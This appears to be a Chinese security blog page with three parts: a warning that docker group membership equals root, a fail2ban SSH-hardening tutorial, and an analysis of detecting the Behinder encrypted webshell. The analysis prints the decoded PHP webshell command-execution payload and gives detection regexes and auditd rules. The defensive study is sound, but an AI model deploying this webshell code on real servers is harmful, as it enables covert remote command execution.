Hacker技术

Docker 组成员身份比sudo更危险

Docker 组成员身份比sudo更危险

Docker 守护进程具有setUID root ,并且在设计上允许以 root身份轻松访问主机文件系统。这使得恶意用户读取和更改敏感系统文件或粗心的用户允许恶意容器化应用程序这样做变得微不足道。访问 Docker 命令有效地授予了完全的根权限。

此外,Docker 没有任何等同于sudo密码检查的功能,这意味着针对docker组中的用户成功执行任意代码攻击有效地授予了攻击者 root 权限。因此,更安全的选择是永远不要将用户帐户(即使是您自己的)添加到docker组,这样 Docker 命令只能通过sudo使用。

https://wiki.debian.org/Docker

使用 fail2ban 防御 SSH 服务器的暴力破解

使用 fail2ban 防御 SSH 服务器的暴力破解

fail2banLinux 上的一个著名的入侵保护的开源框架,它会监控多个系统的日志文件(例如:/var/log/auth.log 或者 /var/log/secure)并根据检测到的任何可疑的行为自动触发不同的防御动作。事实上,fail2ban 在防御对SSH服务器的暴力密码破解上非常有用。

在这篇指导教程中,我会演示如何安装并配置 fail2ban 来保护 SSH 服务器以避免来自远程IP地址的暴力攻击

在linux上安装Fail2ban

CentOS

$ sudo yum install fail2ban

在ubuntu,Debian 或 Linux Mint上安装fail2ban:

$ sudo apt-get install fail2ban

为SSH服务器配置Fail2ban

现在你已经准备好了通过配置 fail2ban 来加强你的SSH服务器。你需要编辑其配置文件 /etc/fail2ban/jail.conf。 在配置文件的“[DEFAULT]”区,你可以在此定义所有受监控的服务的默认参数,另外在特定服务的配置部分,你可以为每个服务(例如SSH,Apache等)设置特定的配置来覆盖默认的参数配置。

在针对服务的监狱区(在[DEFAULT]区后面的地方),你需要定义一个[ssh-iptables]区,这里用来定义SSH相关的监狱配置。真正的禁止IP地址的操作是通过iptables完成的。

下面是一个包含“ssh-iptables”监狱配置的/etc/fail2ban/jail.conf的文件样例。当然根据你的需要,你也可以指定其他的应用监狱。

$ sudo vi /etc/fail2ban/jail.local
[DEFAULT]

# 以空格分隔的列表,可以是 IP 地址、CIDR 前缀或者 DNS 主机名

# 用于指定哪些地址可以忽略 fail2ban 防御

ignoreip = 127.0.0.1 172.31.0.0/24 10.10.0.0/24 192.168.0.0/24

# 客户端主机被禁止的时长(秒)

bantime = 86400

# 客户端主机被禁止前允许失败的次数 

maxretry = 5

# 查找失败次数的时长(秒)

findtime = 600

mta = sendmail

[ssh-iptables]
enabled = true
filter = sshd
action = iptables[name=SSH, port=ssh, protocol=tcp]
sendmail-whois[name=SSH, [email protected], [email protected]]

# Debian 系的发行版 

#logpath = /var/log/auth.log

# Red Hat 系的发行版

logpath = /var/log/secure

# ssh 服务的最大尝试次数 

maxretry = 3

注意:

根据发行版修改日志地址

port为ssh实际端口

根据上述配置,fail2ban会自动禁止在最近10分钟内有超过3次访问尝试失败的任意IP地址。一旦被禁,这个IP地址将会在24小时内一直被禁止访问 SSH 服务。这个事件也会通过sendemail发送邮件通知。

一旦配置文件准备就绪,按照以下方式重启fail2ban服务。

在 Debian, Ubuntu 或 CentOS/RHEL 6:

$ sudo service fail2ban restart

在 Fedora 或 CentOS/RHEL 7:

$ sudo systemctl restart fail2ban

为了验证fail2ban成功运行,使用参数'ping'来运行fail2ban-client 命令。 如果fail2ban服务正常运行,你可以看到“pong(嘭)”作为响应。

$ sudo fail2ban-client ping
Server replied: pong

测试 fail2ban 保护SSH免遭暴力破解攻击

为了测试fail2ban是否能正常工作,尝试通过使用错误的密码来用SSH连接到服务器模拟一个暴力破解攻击。与此同时,监控 /var/log/fail2ban.log,该文件记录在fail2ban中发生的任何敏感事件。

$ sudo tail -f /var/log/fail2ban.log

使用 fail2ban 防御 SSH 服务器的暴力破解使用 fail2ban 防御 SSH 服务器的暴力破解

根据上述的日志文件,Fail2ban通过检测IP地址的多次失败登录尝试,禁止了一个IP地址192.168.1.8。

检查fail2ban状态并解禁被锁住的IP地址

由于fail2ban的“ssh-iptables”监狱使用iptables来阻塞问题IP地址,你可以通过以下方式来检测当前iptables来验证禁止规则。

$ sudo iptables --list -n
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
fail2ban-SSH  tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:22

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain fail2ban-SSH (1 references)
target     prot opt source               destination
DROP       all  --  192.168.1.8          0.0.0.0/0
RETURN     all  --  0.0.0.0/0            0.0.0.0/0

如果你想要从fail2ban中解锁某个IP地址,你可以使用iptables命令:

$ sudo iptables -D fail2ban-SSH -s 192.168.1.8 -j DROP

当然你可以使用上述的iptables命令手动地检验和管理fail2ban的IP阻塞列表,但实际上有一个适当的方法就是使用fail2ban-client命令行工具。这个命令不仅允许你对"ssh-iptables"监狱进行管理,同时也是一个标准的命令行接口,可以管理其他类型的fail2ban监狱。

为了检验fail2ban状态(会显示出当前活动的监狱列表):

$ sudo fail2ban-client status

为了检验一个特定监狱的状态(例如ssh-iptables):

$ sudo fail2ban-client status ssh-iptables

上面的命令会显示出被禁止IP地址列表。

使用 fail2ban 防御 SSH 服务器的暴力破解使用 fail2ban 防御 SSH 服务器的暴力破解

为了解锁特定的IP地址:

$ sudo fail2ban-client set ssh-iptables unbanip 192.168.1.8

使用 fail2ban 防御 SSH 服务器的暴力破解使用 fail2ban 防御 SSH 服务器的暴力破解

注意,如果你停止了Fail2ban 服务,那么所有的IP地址都会被解锁。当你重启 Fail2ban,它会从/etc/log/secure(或 /var/log/auth.log)中找到异常的IP地址列表,如果这些异常地址的发生时间仍然在禁止时间内,那么Fail2ban会重新将这些IP地址禁止。

设置 Fail2ban 自动启动

一旦你成功地测试了fail2ban之后,最后一个步骤就是在你的服务器上让其在开机时自动启动。在基于Debian的发行版中,fail2ban已经默认让自动启动生效。在基于Red-Hat的发行版中,按照下面的方式让自动启动生效。

在 CentOS/RHEL 6中:

$ sudo chkconfig fail2ban on

在 Fedora 或 CentOS/RHEL 7:

$ sudo systemctl enable fail2ban

总结

fail2ban可以缓解暴力密码攻击,但是请注意,这并不能保护SSH服务器避免来自复杂的分布式暴力破解组织,这些攻击者通过使用成千上万个机器控制的IP地址来绕过fail2ban的防御机制。

红蓝对抗——加密Webshell“冰蝎”攻防

红蓝对抗——加密Webshell“冰蝎”攻防

演练中,第一代webshell管理工具“菜刀”的攻击流量特征明显,容易被安全设备检测到,攻击方越来越少使用,加密webshell正变得越来越流行,由于流量加密,传统的WAF、WebIDS设备难以检测,给威胁监控带来较大挑战。这其中最出名就是“冰蝎”,“冰蝎”是一款动态二进制加密网站管理客户端,演练中给防守方造成很大困扰,本文将对“冰蝎”的加密原理、流量特征、检测方案进行探讨。

0x01 “冰蝎”介绍&加密原理

“冰蝎”项目地址:https://github.com/rebeyond/Behinder “冰蝎”目前最新版本为v2.1,兼容性已经日益完善,加密不再依赖PHP openssl扩展功能,同时支持了简单的ASP。主体功能方面包括虚拟终端、socks代理、文件管理、反弹shell、数据库管理等等,功能强大。

img

加密原理方面,以PHP环境为例,《利用动态二进制加密实现新型一句话木马之PHP篇》[1]这篇文章对“冰蝎“的原理已经做了详细的分析,简要介绍一下加密流程:

img

  • 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
  • 客户端将源代码,如assert|eval("phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();")。
  • 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval("phpinfo();")。
  • 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")") 。

0x02 “冰蝎”加密流量分析

通过wireshark进行抓包分析,流量如下:

img

img

按照流程,客户端首先get请求生产随机密钥,server返回生成的16位密钥:0x7037af5d95561f3d。这个get请求的session ID为 466geshjq6hr15kbmd72ju24g5

得到密钥后,客户端对需要执行的命令进行AES加密,加密后的通讯流量如下,没有任何攻击特征,安全设备难以根据特征进行检测:

img

我们用密钥对该信息进行解密:

img

发现解密后执行的命令被base64编码了,进一步进行base64解码后,得到执行的命令如下:

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;

    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
    if(!extension_loaded('openssl'))
        {
            for($i=0;$i<strlen($data);$i++) {
                 $data[$i] = $data[$i]^$key[$i+1&15];
                }
            return $data;
        }
    else
        {
            return openssl_encrypt($data, "AES128", $key);
        }
}$cmd="pwd";
main($cmd);

可以看到,经过一些列的处理,最终执行的命令是“pwd”,命令执行的结果保存在json串result中,result["status"] 表示命令是否执行成功,result["msg"]表示命令执行的结果。冰蝎对执行的返回结果result也进行了加密,加密方式也是采用的AES(如果php没有开启openssl扩展,在采用明文和密钥逐位异或进行加密),密钥也是利用第一步随机get产生的密钥。

0x03 “冰蝎”检测思路

检测思路可以从流量、应用、主机三个层面入手。

img

思路一:流量侧

(1)虽然冰蝎的通讯流量都是加密的,但是在第一步,冰蝎必须需要获得密钥,具体流量特征:
1、是一个get请求,url中带上参数?pass(参数名称可变)

img

对应的检测正则表达式:

/[\w.]*.[a-zA-Z]{3,4}\?\w{0,20}=\d{0,10}

由于该请求特征不明显,此正则会产生较多误报。

2、返回包状态码为200,返回内容必定是16位的密钥

img

对应的检测正则表达式:

^[a-fA-F0-9]{16}$

返回包特征相对明显,针对这一特征可以在WebIDS、全流量检测等安全设备中对返回包制定相应的特征检测规则。

(2)按照kill-chain的模型,除了在webshell通信的时候进行检测,也可以在上传webshell时(即载荷投递阶段)进行检测,对冰蝎的webshell木马文件特征定制特定的检测规则。以php webshell木马为例,webshell中包含了openssl_decrypt、base64、eval等关键字,可以在WAF、WebIDS、流量检测等安全设备中定制相应的关键字进行检测。

img

(3)安全厂商方面,越来越多的安全厂商也正在升级检测规则,支持对冰蝎的检测,检测效果需要进一步测试。

img

基于流量的检测不可避免的可能会产生误报的问题,需要结合企业业务实际流量进行调整;同时,冰蝎也可以进一步升级来规避这些特征,单单利用流量来进行检测难以到达完全的检测效果。

思路二:应用侧——OpenRASP检测

1、什么是OpenRASP?

随着Web应用攻击手段变得复杂,基于请求特征的防护手段,已经不能满足企业安全防护需求。Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。OpenRASP是该技术的开源实现,可以在不依赖请求特征的情况下,准确的识别代码注入、反序列化等应用异常,很好的弥补了传统设备防护滞后的问题。更多细节,请参考《OpenRASP 最佳实践》[2]

img

2、RASP 技术和现有方案主要区别

首先,RASP 几乎没有误报情况。边界设备基于请求特征检测攻击,通常无法得知攻击是否成功。对于扫描器的踩点行为、nday 扫描,一般会产生大量报警。RASP 运行在应用内部,失败的攻击不 会触发检测逻辑,所以每条攻击都是成功的报警。

其次,RASP 可以发现更多攻击。以SQL注入为例,边界设备只能看到请求信息。RASP 不但能够 看到请求信息,还能看到完整的SQL语句,并进行关联。如果SQL注入让服务器产生了语法错误或 者其他异常,RASP引擎也能够识别和处理。

最后,RASP 可以对抗未知漏洞。发生攻击时,边界防护设备无法掌握应用下一步的动向。RASP 技术可以识别出异常的程序逻辑,比如反序列化漏洞导致的命令执行,因此可以对抗未知漏洞。

3、OpenRASP 部署

目前,OpenRASP 支持 Java 和 PHP 两种开发语言,具体安装教程请参考:https://rasp.baidu.com/doc/install/main.html

img

以PHP为例,应用安装成功后,会在返回包头中添加X-Protected-By:OpenRASP字段,如下图所示:

img

此时,我们再次利用冰蝎进行命令执行操作,发现OpenRASP的检测引擎已经完美发现加密流量,并检测出执行的命令“whoami”。img

虽然OpenRASP有很多优势,可以准确检测出一些未知漏洞,但是由于其本身的实现也存在一些问题使其在大规模推广还有一定难度。比如RASP对应用侵入过大、angent的安装可能对系统性能的影响、企业大规模部署运维的压力等等。

思路三:主机侧

(1)定期对服务器进行webshell文件扫描查杀

这里用D盾、河马和OpenRASP团队开发的下一代WebShell检测引擎webdir+[3]进行测试,检测结果都比较一般。

其中,D盾、河马只检测出了早期冰蝎v1.2版本中的PHP webshell文件,未检测出jsp、asp 等webshell,检出比只有20%。

img

而对于冰蝎v2.1的webshell,D盾、河马都完全没有检测出来,检出比为0。img

只有webdir+检测出了冰蝎v2.1的3个webshell文件,检出比为60%,可见冰蝎的免杀做得很不错。

img

同时,定期的webshell文件扫描也存在时效性差的问题,攻击方拿到shell后,也会对webshell进行痕迹清理,所以这种方式检测效果也有限。

(2)Linux audit日志检测

虽然冰蝎通讯流量是加密的,但落到主机侧,还是会调用系统命令,所以可以在主机审计日志层面定制检测规则,监控冰蝎对系统命令的调用。Linux审计系统提供了一种跟踪系统上与安全相关的信息的方法。基于预先配置的规则,审核生成日志条目以记录尽可能多的关于系统上发生的事件信息,参考《另类WebShell监测机制–基于auditd》[4]思路。

以root身份执行如下命令,可实现对执行系统命令这一个SYSCALL行为的监控审计。

 auditctl -D # 清除已有规则
 auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command

上述命令在系统审计规则中增加了一条监控调用命令执行监控规则,并且定义规则名为rule01_exec_command。

在冰蝎中执行命令whoami,在Linux审计日志中发现记录:

img

type=SYSCALL\:日志规则“rule01_exec_command”被触发,uid=33的用户,通过父进程ppid=597,调用/usr/bin/bash,执行了命令sh,进程pid=8380。type=SYSCALL和type=EXECVE\都能看到执行的程序名称和参数。type=CWD\则说明了,命令执行所在的目录cwd="/var/www/html"。 一般cwd在web目下的,又执行了系统命令,则这个行为是比较可疑的。 当然基于审计日志的检测思路也存在一定问题,包括:合理配置auditd的运行参数,准确评估审计功能对系统性能的影响;如何主动识别Web进程和Web目录信息;如何实时收集操作系统进程和进程PID等信息;如何关联分析Web访问日志;Windows平台是否有同样的检测机制等等。

0x04 总结

随着攻防对抗的不断升级,攻击方的手段越来越隐蔽,很多攻击流量都会进行加密,给防守方带来了较大挑战,相信后续对加密攻击流量检测的研究也会越来越多。本文对加密webshell“冰蝎”的加密原理进行了分析,在流量侧检测、应用侧检测、主机层检测方面提出了检测思路。各个层面的检测各有利弊,都难以仅仅依靠一种手段解决所有问题。

按照纵深防御的思想,企业需要部署多层次的防护,合理运用各种技术的特点,从而达到多层次、多技术的防御互补的效果,进而防止一处防御失效后被全局突破。同时,在各个防御手段部署后,企业还需要持续不断的进行安全运营,发挥防御设备最大功效,构建合适自身的安全防御体系,才能不断提升企业的安全防护水平,才能应对日益严峻的网络安全形势。

最后,今天是中华人民共和国成立70周年,祝福祖国繁荣昌盛,祝大家假期愉快!

参考资料

[1]

《利用动态二进制加密实现新型一句话木马之PHP篇》: https://xz.aliyun.com/t/2774

[2]《OpenRASP 最佳实践》: https://rasp.baidu.com/download/OpenRASP%20Internals.pdf?from=header

[3]webdir+: https://scanner.baidu.com/#/pages/intro

[4]《另类WebShell监测机制–基于auditd》: https://www.secpulse.com/archives/62113.html